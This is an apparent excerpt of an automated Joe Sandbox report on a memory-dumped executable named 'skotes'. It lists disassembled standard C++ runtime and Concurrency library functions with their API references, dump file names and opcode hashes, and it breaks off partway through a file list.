Function 007A69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 007A6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 007A6A51
List.LIBCONCRT ref: 007A6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 007A6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 007A6AB9
List.LIBCONCRT ref: 007A6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 007A6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007A6B20
List.LIBCONCRT ref: 007A6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 007A6B68

Part of subcall function 007A5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007A5EF7
Part of subcall function 007A5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007A5F09

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 3826a8b273af070170710a61db5f3c31324a09c8d3e4a109b900cb51ee49e862
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 5A515371A00209EFDF08DF64C495BED73A8BF89304F158169E915EB241DB78AE44CBD0

Function 007B52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 007B53A0
type_info::operator==.LIBVCRUNTIME ref: 007B53C7
___TypeMatch.LIBVCRUNTIME ref: 007B54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 007B55AE
CallUnexpected.LIBVCRUNTIME ref: 007B5650

Strings

csm, xrefs: 007B52E0
csm, xrefs: 007B53FE
csm, xrefs: 007B534D

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: eddc0219504d18c51e9b11eabaa38fae5d91a305ad299a655e183917c369c655
Instruction ID: 60be9eb9f2b8d30870a09d56a59cd727da6bacf3bfc4c823fa17d0b08779b502
Opcode Fuzzy Hash: eddc0219504d18c51e9b11eabaa38fae5d91a305ad299a655e183917c369c655
Instruction Fuzzy Hash: C2C17671800609EFCF25DFA4D884BEEBBB6BF18315F04415AF8056B202D779DA61CBA1

Function 007B4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 007B4877
___except_validate_context_record.LIBVCRUNTIME ref: 007B487F
_ValidateLocalCookies.LIBCMT ref: 007B4908
__IsNonwritableInCurrentImage.LIBCMT ref: 007B4933
_ValidateLocalCookies.LIBCMT ref: 007B4988

Strings

S9{, xrefs: 007B4925, 007B492E, 007B493F
csm, xrefs: 007B491D

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9{$csm
API String ID: 1170836740-1956548883
Opcode ID: 6506468e595e8c2bca49ec4fe70140e54e07660ca824484da5cc9eb3a83f898a
Instruction ID: bca36072fc9de476b5e836848e9715a131825a498a12e824e1af61c92a740ef0
Opcode Fuzzy Hash: 6506468e595e8c2bca49ec4fe70140e54e07660ca824484da5cc9eb3a83f898a
Instruction Fuzzy Hash: 0741D634A00258EFCF10DF68D889BDEBBB5BF45324F148155E8185B393D739AA12CB91

Function 007A7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 007A73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 007A73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 007A740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 007A7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007A7440

Strings

count, xrefs: 007A737E
ppVirtualProcessorRoots, xrefs: 007A7438

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 4fa878537c74c106f0ae4e99b5f0ed4ee32439f3360b4cc1fba791b846c2adf3
Instruction ID: 49d9141e62f14c805886ef9bf704b7134261c9c1c20e987c0ed5801ba9db83cb
Opcode Fuzzy Hash: 4fa878537c74c106f0ae4e99b5f0ed4ee32439f3360b4cc1fba791b846c2adf3
Instruction Fuzzy Hash: 41217474A00249EFCF18EF58D899AADBBB5FF8A350F544169E90597351DB38AE00CF90

Function 0079EE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0079EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0079EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0079EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0079EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0079EF31

Strings

iy, xrefs: 0079EED0

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
